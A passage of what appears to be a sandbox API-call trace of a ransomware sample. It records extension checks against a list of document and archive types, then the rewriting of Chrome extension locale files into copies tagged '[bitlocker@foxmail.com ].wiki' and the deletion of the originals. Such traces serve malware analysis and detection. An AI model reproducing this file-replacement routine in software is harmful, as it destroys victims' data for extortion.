data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json")) returned 1 [0179.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 155 [0179.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 155 [0179.478] lstrlenW (lpString=".doc") returned 4 [0179.478] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.478] lstrlenW (lpString=".docx") returned 5 [0179.478] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.478] lstrlenW (lpString=".pdf") returned 4 [0179.478] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.478] lstrlenW (lpString=".xls") returned 4 [0179.478] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.478] lstrlenW (lpString=".xlsx") returned 5 [0179.478] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.478] lstrlenW (lpString=".ppt") returned 4 [0179.478] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 155 [0179.478] lstrlenW (lpString=".zip") returned 4 [0179.478] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.478] lstrlenW (lpString=".rar") returned 4 [0179.478] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.478] lstrlenW (lpString=".bz2") returned 4 [0179.478] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.478] lstrlenW (lpString=".7z") returned 3 [0179.478] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 155 [0179.478] lstrlenW (lpString=".dbf") returned 4 [0179.478] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 155 [0179.478] lstrlenW (lpString=".1cd") returned 4 [0179.478] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 155 [0179.478] lstrlenW (lpString=".jpg") returned 4 [0179.478] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 155 [0179.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 155 [0179.479] lstrlenW (lpString=".doc") returned 4 [0179.479] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.479] lstrlenW (lpString=".docx") returned 5 [0179.479] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.479] lstrlenW (lpString=".pdf") returned 4 [0179.479] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.479] lstrlenW (lpString=".xls") returned 4 [0179.479] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.479] lstrlenW (lpString=".xlsx") returned 5 [0179.479] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.479] lstrlenW (lpString=".ppt") returned 4 [0179.479] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 155 [0179.479] lstrlenW (lpString=".zip") returned 4 [0179.479] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.479] lstrlenW (lpString=".rar") returned 4 [0179.479] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.479] lstrlenW (lpString=".bz2") returned 4 [0179.479] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.479] lstrlenW (lpString=".7z") returned 3 [0179.479] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 155 [0179.479] lstrlenW (lpString=".dbf") returned 4 [0179.479] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 155 [0179.479] lstrlenW (lpString=".1cd") returned 4 [0179.479] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 155 [0179.479] lstrlenW (lpString=".jpg") returned 4 [0179.479] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.480] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.480] lstrlenW (lpString="messages.json") returned 13 [0179.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.480] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=649) returned 1 [0179.480] CloseHandle (hObject=0x198) returned 1 [0179.480] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json")) returned 0x2020 [0179.480] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0179.818] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.818] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.818] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.819] GetLastError () returned 0x0 [0179.819] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x289, lpOverlapped=0x0) returned 1 [0179.821] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x290, lpOverlapped=0x0) returned 1 [0179.821] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.822] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.822] SetEndOfFile (hFile=0x198) returned 1 [0179.822] CloseHandle (hObject=0x198) returned 1 [0179.822] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.822] SetEndOfFile (hFile=0x320) returned 1 [0179.823] CloseHandle (hObject=0x320) returned 1 [0179.823] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.823] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json")) returned 1 [0179.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 155 [0179.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 155 [0179.823] lstrlenW (lpString=".doc") returned 4 [0179.823] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.823] lstrlenW (lpString=".docx") returned 5 [0179.823] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.823] lstrlenW (lpString=".pdf") returned 4 [0179.823] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.823] lstrlenW (lpString=".xls") returned 4 [0179.823] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.823] lstrlenW (lpString=".xlsx") returned 5 [0179.824] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.824] lstrlenW (lpString=".ppt") returned 4 [0179.824] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.824] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 155 [0179.824] lstrlenW (lpString=".zip") returned 4 [0179.824] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.824] lstrlenW (lpString=".rar") returned 4 [0179.824] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.824] lstrlenW (lpString=".bz2") returned 4 [0179.824] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.824] lstrlenW (lpString=".7z") returned 3 [0179.824] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.824] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 155 [0179.824] lstrlenW (lpString=".dbf") returned 4 [0179.824] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.824] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 155 [0179.824] lstrlenW (lpString=".1cd") returned 4 [0179.824] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.824] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 155 [0179.824] lstrlenW (lpString=".jpg") returned 4 [0179.824] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.824] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 155 [0179.824] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 155 [0179.824] lstrlenW (lpString=".doc") returned 4 [0179.824] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.824] lstrlenW (lpString=".docx") returned 5 [0179.824] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.824] lstrlenW (lpString=".pdf") returned 4 [0179.824] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.825] lstrlenW (lpString=".xls") returned 4 [0179.825] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.825] lstrlenW (lpString=".xlsx") returned 5 [0179.825] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.825] lstrlenW (lpString=".ppt") returned 4 [0179.825] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.825] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 155 [0179.825] lstrlenW (lpString=".zip") returned 4 [0179.825] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.825] lstrlenW (lpString=".rar") returned 4 [0179.825] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.825] lstrlenW (lpString=".bz2") returned 4 [0179.825] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.825] lstrlenW (lpString=".7z") returned 3 [0179.825] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.825] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 155 [0179.825] lstrlenW (lpString=".dbf") returned 4 [0179.825] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.825] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 155 [0179.825] lstrlenW (lpString=".1cd") returned 4 [0179.825] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.825] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 155 [0179.825] lstrlenW (lpString=".jpg") returned 4 [0179.825] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.825] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.826] lstrlenW (lpString="messages.json") returned 13 [0179.826] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0179.826] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=249) returned 1 [0179.826] CloseHandle (hObject=0x320) returned 1 [0179.826] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json")) returned 0x2020 [0179.826] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.826] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0179.827] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.827] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.827] GetLastError () returned 0x0 [0179.827] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xf9, lpOverlapped=0x0) returned 1 [0179.829] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x100, lpOverlapped=0x0) returned 1 [0179.829] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.829] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.830] SetEndOfFile (hFile=0x198) returned 1 [0179.830] CloseHandle (hObject=0x198) returned 1 [0179.830] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.830] SetEndOfFile (hFile=0x320) returned 1 [0179.830] CloseHandle (hObject=0x320) returned 1 [0179.831] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.831] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json")) returned 1 [0179.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 151 [0179.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 151 [0179.831] lstrlenW (lpString=".doc") returned 4 [0179.831] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.831] lstrlenW (lpString=".docx") returned 5 [0179.831] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.831] lstrlenW (lpString=".pdf") returned 4 [0179.831] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.831] lstrlenW (lpString=".xls") returned 4 [0179.831] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.831] lstrlenW (lpString=".xlsx") returned 5 [0179.831] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.831] lstrlenW (lpString=".ppt") returned 4 [0179.831] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 151 [0179.831] lstrlenW (lpString=".zip") returned 4 [0179.832] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.832] lstrlenW (lpString=".rar") returned 4 [0179.832] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.832] lstrlenW (lpString=".bz2") returned 4 [0179.832] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.832] lstrlenW (lpString=".7z") returned 3 [0179.832] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.832] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 151 [0179.832] lstrlenW (lpString=".dbf") returned 4 [0179.832] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.832] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 151 [0179.832] lstrlenW (lpString=".1cd") returned 4 [0179.832] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.832] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 151 [0179.832] lstrlenW (lpString=".jpg") returned 4 [0179.832] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.832] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 151 [0179.832] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 151 [0179.832] lstrlenW (lpString=".doc") returned 4 [0179.832] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.832] lstrlenW (lpString=".docx") returned 5 [0179.832] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.832] lstrlenW (lpString=".pdf") returned 4 [0179.832] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.832] 